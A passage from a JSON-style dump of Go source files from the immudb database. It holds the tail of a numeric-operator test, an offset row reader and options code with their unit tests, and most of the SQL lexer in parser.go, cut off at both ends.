/ 3.0)},\n\t\t\t{DIVOP, &Float64{val: 10}, &Float64{val: 3}, float64(10.0 / 3.0)},\n\n\t\t\t{MODOP, &Integer{val: 10}, &Integer{val: 3}, int64(1)},\n\t\t\t{MODOP, &Integer{val: 10}, &Float64{val: 3}, float64(1)},\n\t\t\t{MODOP, &Float64{val: 10}, &Integer{val: 3}, float64(1)},\n\t\t\t{MODOP, &Float64{val: 10.5}, &Float64{val: 3.2}, math.Mod(10.5, 3.2)},\n\n\t\t\t{MULTOP, &Integer{val: 10}, &Integer{val: 3}, int64(30)},\n\t\t\t{MULTOP, &Float64{val: 10}, &Integer{val: 3}, float64(30)},\n\t\t\t{MULTOP, &Integer{val: 10}, &Float64{val: 3}, float64(30)},\n\t\t\t{MULTOP, &Float64{val: 10}, &Float64{val: 3}, float64(30)},\n\t\t} {\n\t\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\t\tresult, err := applyNumOperator(d.op, d.lv, d.rv)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, d.ev, result.RawValue())\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"Division by 0\", func(t *testing.T) {\n\t\tfor _, d := range []struct {\n\t\t\tlv TypedValue\n\t\t\trv TypedValue\n\t\t}{\n\t\t\t{&Integer{val: 100}, &Integer{val: 0}},\n\t\t\t{&Float64{val: 100}, &Integer{val: 0}},\n\t\t\t{&Integer{val: 100}, &Float64{val: 0}},\n\t\t\t{&Float64{val: 100}, &Float64{val: 0}},\n\t\t} {\n\t\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\t\tresult, err := applyNumOperator(DIVOP, d.lv, d.rv)\n\t\t\t\trequire.ErrorIs(t, err, ErrDivisionByZero)\n\t\t\t\trequire.Nil(t, result)\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"Incompatible types\", func(t *testing.T) {\n\t\tfor _, d := range []struct {\n\t\t\tlv TypedValue\n\t\t\trv TypedValue\n\t\t}{\n\t\t\t{&Integer{val: 100}, &Bool{}},\n\t\t\t{&Float64{val: 100}, &Bool{}},\n\t\t\t{&Bool{}, &Integer{val: 100}},\n\t\t\t{&Bool{}, &Float64{val: 100}},\n\t\t} {\n\t\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\t\tresult, err := applyNumOperator(ADDOP, d.lv, d.rv)\n\t\t\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\t\t\t\trequire.Nil(t, result)\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"Invalid operation\", func(t *testing.T) {\n\t\tfor _, d := range []struct {\n\t\t\tlv TypedValue\n\t\t\trv TypedValue\n\t\t}{\n\t\t\t{&Integer{val: 100}, &Integer{val: 1}},\n\t\t\t{&Float64{val: 100}, &Float64{val: 1}},\n\t\t} {\n\t\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\t\tresult, err := applyNumOperator(NumOperator(-1), d.lv, d.rv)\n\t\t\t\trequire.ErrorIs(t, err, ErrUnexpected)\n\t\t\t\trequire.Nil(t, result)\n\t\t\t})\n\t\t}\n\t})\n\n}\n"
  },
  {
    "path": "embedded/sql/offset_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport \"context\"\n\ntype offsetRowReader struct {\n\trowReader RowReader\n\n\toffset  int\n\tskipped int\n}\n\nfunc newOffsetRowReader(rowReader RowReader, offset int) *offsetRowReader {\n\treturn &offsetRowReader{\n\t\trowReader: rowReader,\n\t\toffset:    offset,\n\t}\n}\n\nfunc (r *offsetRowReader) onClose(callback func()) {\n\tr.rowReader.onClose(callback)\n}\n\nfunc (r *offsetRowReader) Tx() *SQLTx {\n\treturn r.rowReader.Tx()\n}\n\nfunc (r *offsetRowReader) TableAlias() string {\n\treturn r.rowReader.TableAlias()\n}\n\nfunc (r *offsetRowReader) Parameters() map[string]interface{} {\n\treturn r.rowReader.Parameters()\n}\n\nfunc (r *offsetRowReader) OrderBy() []ColDescriptor {\n\treturn r.rowReader.OrderBy()\n}\n\nfunc (r *offsetRowReader) ScanSpecs() *ScanSpecs {\n\treturn r.rowReader.ScanSpecs()\n}\n\nfunc (r *offsetRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn r.rowReader.Columns(ctx)\n}\n\nfunc (r *offsetRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn r.rowReader.colsBySelector(ctx)\n}\n\nfunc (r *offsetRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\treturn r.rowReader.InferParameters(ctx, params)\n}\n\nfunc (r *offsetRowReader) Read(ctx context.Context) (*Row, error) {\n\tfor {\n\t\trow, err := r.rowReader.Read(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif r.skipped < r.offset {\n\t\t\tr.skipped++\n\t\t\tcontinue\n\t\t}\n\n\t\treturn row, nil\n\t}\n}\n\nfunc (r *offsetRowReader) Close() error {\n\treturn r.rowReader.Close()\n}\n"
  },
  {
    "path": "embedded/sql/offset_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOffsetRowReader(t *testing.T) {\n\tdummyr := &dummyRowReader{failReturningColumns: false}\n\n\trowReader := newOffsetRowReader(dummyr, 1)\n\trequire.Equal(t, dummyr.TableAlias(), rowReader.TableAlias())\n\trequire.Equal(t, dummyr.OrderBy(), rowReader.OrderBy())\n\trequire.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs())\n\n\trequire.Nil(t, rowReader.Tx())\n\n\t_, err := rowReader.Read(context.Background())\n\trequire.ErrorIs(t, err, errDummy)\n\n\tdummyr.failReturningColumns = true\n\t_, err = rowReader.Columns(context.Background())\n\trequire.ErrorIs(t, err, errDummy)\n\n\trequire.Nil(t, rowReader.Parameters())\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.NoError(t, err)\n\n\tdummyr.failInferringParams = true\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.ErrorIs(t, err, errDummy)\n}\n"
  },
  {
    "path": "embedded/sql/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nconst (\n\tdefaultDistinctLimit  = 1 << 20 // ~ 1mi rows\n\tdefaultSortBufferSize = 1024\n)\n\ntype Options struct {\n\tprefix                        []byte\n\tsortBufferSize                int\n\tdistinctLimit                 int\n\tautocommit                    bool\n\tlazyIndexConstraintValidation bool\n\tparseTxMetadata               func([]byte) (map[string]interface{}, error)\n\n\tmultidbHandler MultiDBHandler\n\ttableResolvers []TableResolver\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tsortBufferSize: defaultSortBufferSize,\n\t\tdistinctLimit:  defaultDistinctLimit,\n\t}\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", store.ErrInvalidOptions)\n\t}\n\n\tif opts.distinctLimit <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid DistinctLimit value\", store.ErrInvalidOptions)\n\t}\n\n\tif opts.sortBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid SortBufferSize value\", store.ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *Options) WithPrefix(prefix []byte) *Options {\n\topts.prefix = prefix\n\treturn opts\n}\n\nfunc (opts *Options) WithDistinctLimit(distinctLimit int) *Options {\n\topts.distinctLimit = distinctLimit\n\treturn opts\n}\n\nfunc (opts *Options) WithAutocommit(autocommit bool) *Options {\n\topts.autocommit = autocommit\n\treturn opts\n}\n\nfunc (opts *Options) WithLazyIndexConstraintValidation(lazyIndexConstraintValidation bool) *Options {\n\topts.lazyIndexConstraintValidation = lazyIndexConstraintValidation\n\treturn opts\n}\n\nfunc (opts *Options) WithMultiDBHandler(multidbHandler MultiDBHandler) *Options {\n\topts.multidbHandler = multidbHandler\n\treturn opts\n}\n\n// WithSortBufferSize specifies the size of the buffer used to sort rows in-memory\n// when executing queries containing an ORDER BY clause. The default value is 1024.\n// Increasing this value improves sorting speed at the expense of higher memory usage.\nfunc (opts *Options) WithSortBufferSize(size int) *Options {\n\topts.sortBufferSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithParseTxMetadataFunc(parseFunc func([]byte) (map[string]interface{}, error)) *Options {\n\topts.parseTxMetadata = parseFunc\n\treturn opts\n}\n\nfunc (opts *Options) WithTableResolvers(resolvers ...TableResolver) *Options {\n\topts.tableResolvers = append(opts.tableResolvers, resolvers...)\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/sql/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOptions(t *testing.T) {\n\tvar opts *Options\n\n\trequire.Error(t, opts.Validate())\n\n\topts = &Options{}\n\trequire.Error(t, opts.Validate())\n\n\topts.WithDistinctLimit(0)\n\trequire.Error(t, opts.Validate())\n\n\topts.WithDistinctLimit(defaultDistinctLimit)\n\trequire.Equal(t, defaultDistinctLimit, opts.distinctLimit)\n\n\topts.WithPrefix([]byte(\"sqlPrefix\"))\n\trequire.Equal(t, []byte(\"sqlPrefix\"), opts.prefix)\n\n\topts.WithAutocommit(true)\n\trequire.True(t, opts.autocommit)\n\n\topts.WithSortBufferSize(0)\n\trequire.Error(t, opts.Validate())\n\n\topts.WithSortBufferSize(defaultSortBufferSize)\n\trequire.Equal(t, opts.sortBufferSize, defaultSortBufferSize)\n\n\trequire.NoError(t, opts.Validate())\n}\n"
  },
  {
    "path": "embedded/sql/parser.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n//go:generate go run golang.org/x/tools/cmd/goyacc -l -o sql_parser.go sql_grammar.y\n\nvar keywords = map[string]int{\n\t\"CREATE\":         CREATE,\n\t\"DROP\":           DROP,\n\t\"USE\":            USE,\n\t\"DATABASE\":       DATABASE,\n\t\"SNAPSHOT\":       SNAPSHOT,\n\t\"HISTORY\":        HISTORY,\n\t\"OF\":             OF,\n\t\"SINCE\":          SINCE,\n\t\"AFTER\":          AFTER,\n\t\"BEFORE\":         BEFORE,\n\t\"UNTIL\":          UNTIL,\n\t\"TABLE\":          TABLE,\n\t\"PRIMARY\":        PRIMARY,\n\t\"KEY\":            KEY,\n\t\"UNIQUE\":         UNIQUE,\n\t\"INDEX\":          INDEX,\n\t\"ON\":             ON,\n\t\"ALTER\":          ALTER,\n\t\"ADD\":            ADD,\n\t\"RENAME\":         RENAME,\n\t\"TO\":             TO,\n\t\"COLUMN\":         COLUMN,\n\t\"INSERT\":         INSERT,\n\t\"CONFLICT\":       CONFLICT,\n\t\"DO\":             DO,\n\t\"NOTHING\":        NOTHING,\n\t\"RETURNING\":      RETURNING,\n\t\"UPSERT\":         UPSERT,\n\t\"INTO\":           INTO,\n\t\"VALUES\":         VALUES,\n\t\"UPDATE\":         UPDATE,\n\t\"SET\":            SET,\n\t\"DELETE\":         DELETE,\n\t\"BEGIN\":          BEGIN,\n\t\"TRANSACTION\":    TRANSACTION,\n\t\"COMMIT\":         COMMIT,\n\t\"ROLLBACK\":       ROLLBACK,\n\t\"SELECT\":         SELECT,\n\t\"DISTINCT\":       DISTINCT,\n\t\"FROM\":           FROM,\n\t\"UNION\":          UNION,\n\t\"ALL\":            ALL,\n\t\"TX\":             TX,\n\t\"JOIN\":           JOIN,\n\t\"HAVING\":         HAVING,\n\t\"WHERE\":          WHERE,\n\t\"GROUP\":          GROUP,\n\t\"BY\":             BY,\n\t\"LIMIT\":          LIMIT,\n\t\"OFFSET\":         OFFSET,\n\t\"ORDER\":          ORDER,\n\t\"AS\":             AS,\n\t\"ASC\":            ASC,\n\t\"DESC\":           DESC,\n\t\"AND\":            AND,\n\t\"OR\":             OR,\n\t\"NOT\":            NOT,\n\t\"LIKE\":           LIKE,\n\t\"EXISTS\":         EXISTS,\n\t\"BETWEEN\":        BETWEEN,\n\t\"IN\":             IN,\n\t\"AUTO_INCREMENT\": AUTO_INCREMENT,\n\t\"NULL\":           NULL,\n\t\"IF\":             IF,\n\t\"IS\":             IS,\n\t\"CAST\":           CAST,\n\t\"::\":             SCAST,\n\t\"SHOW\":           SHOW,\n\t\"DATABASES\":      DATABASES,\n\t\"TABLES\":         TABLES,\n\t\"USERS\":          USERS,\n\t\"USER\":           USER,\n\t\"WITH\":           WITH,\n\t\"PASSWORD\":       PASSWORD,\n\t\"READ\":           READ,\n\t\"READWRITE\":      READWRITE,\n\t\"ADMIN\":          ADMIN,\n\t\"GRANT\":          GRANT,\n\t\"REVOKE\":         REVOKE,\n\t\"GRANTS\":         GRANTS,\n\t\"FOR\":            FOR,\n\t\"PRIVILEGES\":     PRIVILEGES,\n\t\"CHECK\":          CHECK,\n\t\"CONSTRAINT\":     CONSTRAINT,\n\t\"CASE\":           CASE,\n\t\"WHEN\":           WHEN,\n\t\"THEN\":           THEN,\n\t\"ELSE\":           ELSE,\n\t\"END\":            END,\n\t\"EXTRACT\":        EXTRACT,\n\t\"INTEGER\":        INTEGER_TYPE,\n\t\"BOOLEAN\":        BOOLEAN_TYPE,\n\t\"VARCHAR\":        VARCHAR_TYPE,\n\t\"TIMESTAMP\":      TIMESTAMP_TYPE,\n\t\"FLOAT\":          FLOAT_TYPE,\n\t\"BLOB\":           BLOB_TYPE,\n\t\"UUID\":           UUID_TYPE,\n\t\"JSON\":           JSON_TYPE,\n\t\"YEAR\":           YEAR,\n\t\"MONTH\":          MONTH,\n\t\"DAY\":            DAY,\n\t\"HOUR\":           HOUR,\n\t\"MINUTE\":         MINUTE,\n\t\"SECOND\":         SECOND,\n}\n\nvar joinTypes = map[string]JoinType{\n\t\"INNER\": InnerJoin,\n\t\"LEFT\":  LeftJoin,\n\t\"RIGHT\": RightJoin,\n}\n\nvar aggregateFns = map[string]AggregateFn{\n\t\"COUNT\": COUNT,\n\t\"SUM\":   SUM,\n\t\"MAX\":   MAX,\n\t\"MIN\":   MIN,\n\t\"AVG\":   AVG,\n}\n\nvar boolValues = map[string]bool{\n\t\"TRUE\":  true,\n\t\"FALSE\": false,\n}\n\nvar cmpOps = map[string]CmpOperator{\n\t\"=\":  EQ,\n\t\"!=\": NE,\n\t\"<>\": NE,\n\t\"<\":  LT,\n\t\"<=\": LE,\n\t\">\":  GT,\n\t\">=\": GE,\n}\n\nvar ErrEitherNamedOrUnnamedParams = errors.New(\"either named or unnamed params\")\nvar ErrEitherPosOrNonPosParams = errors.New(\"either positional or non-positional named params\")\nvar ErrInvalidPositionalParameter = errors.New(\"invalid positional parameter\")\n\ntype positionalParamType int\n\nconst (\n\tNamedNonPositionalParamType positionalParamType = iota + 1\n\tNamedPositionalParamType\n\tUnnamedParamType\n)\n\ntype lexer struct {\n\tr               *aheadByteReader\n\terr             error\n\tnamedParamsType positionalParamType\n\tparamsCount     int\n\tresult          []SQLStmt\n}\n\ntype aheadByteReader struct {\n\tnextChar  byte\n\tnextErr   error\n\tr         io.ByteReader\n\treadCount int\n}\n\nfunc newAheadByteReader(r io.ByteReader) *aheadByteReader {\n\tar := &aheadByteReader{r: r}\n\tar.nextChar, ar.nextErr = r.ReadByte()\n\treturn ar\n}\n\nfunc (ar *aheadByteReader) ReadByte() (byte, error) {\n\tdefer func() {\n\t\tif ar.nextErr == nil {\n\t\t\tar.nextChar, ar.nextErr = ar.r.ReadByte()\n\t\t}\n\t}()\n\n\tar.readCount++\n\n\treturn ar.nextChar, ar.nextErr\n}\n\nfunc (ar *aheadByteReader) ReadCount() int {\n\treturn ar.readCount\n}\n\nfunc (ar *aheadByteReader) NextByte() (byte, error) {\n\treturn ar.nextChar, ar.nextErr\n}\n\nfunc ParseSQLString(sql string) ([]SQLStmt, error) {\n\treturn ParseSQL(strings.NewReader(sql))\n}\n\nfunc ParseSQL(r io.ByteReader) ([]SQLStmt, error) {\n\tlexer := newLexer(r)\n\n\tyyParse(lexer)\n\n\treturn lexer.result, lexer.err\n}\n\nfunc ParseExpFromString(exp string) (ValueExp, error) {\n\tstmt := fmt.Sprintf(\"SELECT * FROM t WHERE %s\", exp)\n\n\tres, err := ParseSQLString(stmt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts := res[0].(*SelectStmt)\n\treturn s.where, nil\n}\n\nfunc newLexer(r io.ByteReader) *lexer {\n\treturn &lexer{\n\t\tr:   newAheadByteReader(r),\n\t\terr: nil,\n\t}\n}\n\nfunc (l *lexer) Lex(lval *yySymType) int {\n\tvar ch byte\n\tvar err error\n\n\tfor {\n\t\tch, err = l.r.ReadByte()\n\t\tif err == io.EOF {\n\t\t\treturn 0\n\t\t}\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tif ch == '\\t' {\n\t\t\tcontinue\n\t\t}\n\n\t\tif ch == '/' && l.r.nextChar == '*' {\n\t\t\tl.r.ReadByte()\n\n\t\t\tfor {\n\t\t\t\tch, err := l.r.ReadByte()\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\tlval.err = err\n\t\t\t\t\treturn ERROR\n\t\t\t\t}\n\n\t\t\t\tif ch == '*' && l.r.nextChar == '/' {\n\t\t\t\t\tl.r.ReadByte() // consume closing slash\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif isLineBreak(ch) {\n\t\t\tif ch == '\\r' && l.r.nextChar == '\\n' {\n\t\t\t\tl.r.ReadByte()\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif !isSpace(ch) {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif isSeparator(ch) {\n\t\treturn STMT_SEPARATOR\n\t}\n\n\tif ch == '-' && l.r.nextChar == '>' {\n\t\tl.r.ReadByte()\n\t\treturn ARROW\n\t}\n\n\tif isBLOBPrefix(ch) && isQuote(l.r.nextChar) {\n\t\tl.r.ReadByte() // consume starting quote\n\n\t\ttail, err := l.readString()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tval, err := hex.DecodeString(tail)\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tlval.blob = val\n\t\treturn BLOB_LIT\n\t}\n\n\tif isLetter(ch) {\n\t\ttail, err := l.readWord()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tw := fmt.Sprintf(\"%c%s\", ch, tail)\n\t\ttid := strings.ToUpper(w)\n\n\t\tval, ok := boolValues[tid]\n\t\tif ok {\n\t\t\tlval.boolean = val\n\t\t\treturn BOOLEAN_LIT\n\t\t}\n\n\t\tafn, ok := aggregateFns[tid]\n\t\tif ok {\n\t\t\tlval.aggFn = afn\n\t\t\treturn AGGREGATE_FUNC\n\t\t}\n\n\t\tjoin, ok := joinTypes[tid]\n\t\tif ok {\n\t\t\tlval.joinType = join\n\t\t\treturn JOINTYPE\n\t\t}\n\n\t\ttkn, ok := keywords[tid]\n\t\tif ok {\n\t\t\tlval.keyword = w\n\t\t\treturn tkn\n\t\t}\n\n\t\tlval.id = strings.ToLower(w)\n\t\treturn IDENTIFIER\n\t}\n\n\tif isDoubleQuote(ch) {\n\t\ttail, err := l.readWord()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tif !isDoubleQuote(l.r.nextChar) {\n\t\t\tlval.err = fmt.Errorf(\"double quote expected\")\n\t\t\treturn ERROR\n\t\t}\n\n\t\tl.r.ReadByte() // consume ending quote\n\n\t\tlval.id = strings.ToLower(tail)\n\t\treturn IDENTIFIER\n\t}\n\n\tif isNumber(ch) {\n\t\ttail, err := l.readNumber()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\t\t// looking for a float\n\t\tif isDot(l.r.nextChar) {\n\t\t\tl.r.ReadByte() // consume dot\n\n\t\t\tdecimalPart, err := l.readNumber()\n\t\t\tif err != nil {\n\t\t\t\tlval.err = err\n\t\t\t\treturn ERROR\n\t\t\t}\n\n\t\t\tval, err := strconv.ParseFloat(fmt.Sprintf(\"%c%s.%s\", ch, tail, decimalPart), 64)\n\t\t\tif err != nil {\n\t\t\t\tlval.err = err\n\t\t\t\treturn ERROR\n\t\t\t}\n\n\t\t\tlval.float = val\n\t\t\treturn FLOAT_LIT\n\t\t}\n\n\t\tval, err := strconv.ParseUint(fmt.Sprintf(\"%c%s\", ch, tail), 10, 64)\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tlval.integer = val\n\t\treturn INTEGER_LIT\n\t}\n\n\tif isComparison(ch) {\n\t\ttail, err := l.readComparison()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\top := fmt.Sprintf(\"%c%s\", ch, tail)\n\t\tif op == \"!~\" {\n\t\t\treturn NOT_MATCHES_OP\n\t\t}\n\n\t\tcmpOp, ok := cmpOps[op]\n\t\tif !ok {\n\t\t\tlval.err = fmt.Errorf(\"invalid comparison operator %s\", op)\n\t\t\treturn ERROR\n\t\t}\n\n\t\tlval.cmpOp = cmpOp\n\t\treturn CMPOP\n\t}\n\n\tif isQuote(ch) {\n\t\ttail, err := l.readString()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tlval.str = tail\n\t\treturn VARCHAR_LIT\n\t}\n\n\tif ch == ':' {\n\t\tch, err := l.r.ReadByte()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tif ch != ':' {\n\t\t\tlval.err = fmt.Errorf(\"colon expected\")\n\t\t\treturn ERROR\n\t\t}\n\n\t\treturn SCAST\n\t}\n\n\tif ch == '@' {\n\t\tif l.namedParamsType == UnnamedParamType {\n\t\t\tlval.err = ErrEitherNamedOrUnnamedParams\n\t\t\treturn ERROR\n\t\t}\n\n\t\tif l.namedParamsType == NamedPositionalParamType {\n\t\t\tlval.err = ErrEitherPosOrNonPosParams\n\t\t\treturn ERROR\n\t\t}\n\n\t\tl.namedParamsType = NamedNonPositionalParamType\n\n\t\tch, err := l.r.NextByte()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tif !isLetter(ch) {\n\t\t\treturn ERROR\n\t\t}\n\n\t\tid, err := l.readWord()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tlval.id = strings.ToLower(id)\n\n\t\treturn NPARAM\n\t}\n\n\tif ch == '$' {\n\t\tif l.namedParamsType == UnnamedParamType {\n\t\t\tlval.err = ErrEitherNamedOrUnnamedParams\n\t\t\treturn ERROR\n\t\t}\n\n\t\tif l.namedParamsType == NamedNonPositionalParamType {\n\t\t\tlval.err = ErrEitherPosOrNonPosParams\n\t\t\treturn ERROR\n\t\t}\n\n\t\tid, err := l.readNumber()\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tpid, err := strconv.Atoi(id)\n\t\tif err != nil {\n\t\t\tlval.err = err\n\t\t\treturn ERROR\n\t\t}\n\n\t\tif pid < 1 {\n\t\t\tlval.err = ErrInvalidPositionalParameter\n\t\t\treturn ERROR\n\t\t}\n\n\t\tlval.pparam = pid\n\n\t\tl.namedParamsType = NamedPositionalParamType\n\n\t\treturn PPARAM\n\t}\n\n\tif ch == '?' {\n\t\tif l.namedParamsType == NamedNonPositionalParamType || l.namedParamsType == NamedPositionalParamType {\n\t\t\tlval.err = ErrEitherNamedOrUnnamedParams\n\t\t\treturn ERROR\n\t\t}\n\n\t\tl.paramsCount++\n\t\tlval.pparam = l.paramsCount\n\n\t\tl.namedParamsType = UnnamedParamType\n\n\t\treturn PPARAM\n\t}\n\n\tif isDot(ch) {\n\t\tif isNumber(l.r.nextChar) { // looking for  a float\n\t\t\tdecimalPart, err := l.readNumber()\n\t\t\tif err != nil {\n\t\t\t\tlval.err = err\n\t\t\t\treturn ERROR\n\t\t\t}\n\t\t\tval, err := strconv.ParseFloat(fmt.Sprintf(\"%d.%s\", 0, decimalPart), 64)\n\t\t\tif err != nil {\n\t\t\t\tlval.err = err\n\t\t\t\treturn ERROR\n\t\t\t}\n\t\t\tlval.float = val\n\t\t\treturn FLOAT_LIT\n\t\t}\n\t\treturn DOT\n\t}\n\n\treturn int(ch)\n}\n\nfunc (l *lexer) Error(err string) {\n\tl.err = fmt.Errorf(\"%s at position %d\", err, l.r.ReadCount())\n}\n\nfunc (l *lexer) readWord() (string, error) {\n\treturn l.readWhile(func(ch byte) bool {\n\t\treturn isLetter(ch) || isNumber(ch)\n\t})\n}\n\nfunc (l *lexer) readNumber() (string, error) {\n\treturn l.readWhile(isNumber)\n}\n\nfunc (l *lexer) readString() (string, error) {\n\tvar b bytes.Buffer\n\n\tfor {\n\t\tch, err := l.r.ReadByte()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tnextCh, _ := l.r.NextByte()\n\n\t\tif isQuote(ch) {\n\t\t\tif isQuote(nextCh) {\n\t\t\t\tl.r.ReadByte() // consume escaped quote\n\t\t\t} else {\n\t\t\t\tbreak // string completely read\n\t\t\t}\n\t\t}\n\n\t\tb.WriteByte(ch)\n\t}\n\n\treturn b.String(), nil\n}\n\nfunc (l *lexer) readComparison() (string, error) {\n\treturn l.readWhile(func(ch byte) bool {\n\t\treturn isComparison(ch)\n\t})\n}\n\nfunc (l *lexer) readWhile(condFn func(b byte) bool) (string, error) {\n\tvar b bytes.Buffer\n\n\tfor {\n\t\tch, err := l.r.NextByte()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif !condFn(ch) {\n\t\t\tbreak\n\t\t}\n\n\t\tch, _ = l.r.ReadByte()\n\t\tb.WriteByte(ch)\n\t}\n\n\treturn b.String(), nil\n}\n\nfunc isBLOBPrefix(ch byte) bool {\n\treturn ch == 'x'\n}\n\nfunc isSeparator(ch byte) bool {\n\treturn ch == ';'\n}\n\nfunc isLineBreak(ch byte) bool {\n\treturn ch == '\\r' || ch == '\\n'\n}\n\nfunc isSpace(ch byte) bool {\n\treturn ch == 32 || ch == 9 //SPACE or TAB\n}\n\nfunc isNumber(ch byte) bool {\n\treturn '0' <= ch && ch <= '9'\n}\n\nfunc isLetter(ch byte) bool {\n\treturn 'a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || ch == '_'\n}\n\nfunc isComparison(ch byte) bool {\n\treturn ch == '!' || ch == '<' || ch == '=' || ch == '>' || ch == '~'\n}\n\nfunc isQuote(ch byte) bool {\n\treturn ch == 0x27\n}\n\nfunc isDoubleQuote(ch byte) bool {\n\treturn ch == 0x22\n}\n\nfunc isDot(ch byte) bool {\n\treturn ch == '.'\n}\n\nfunc 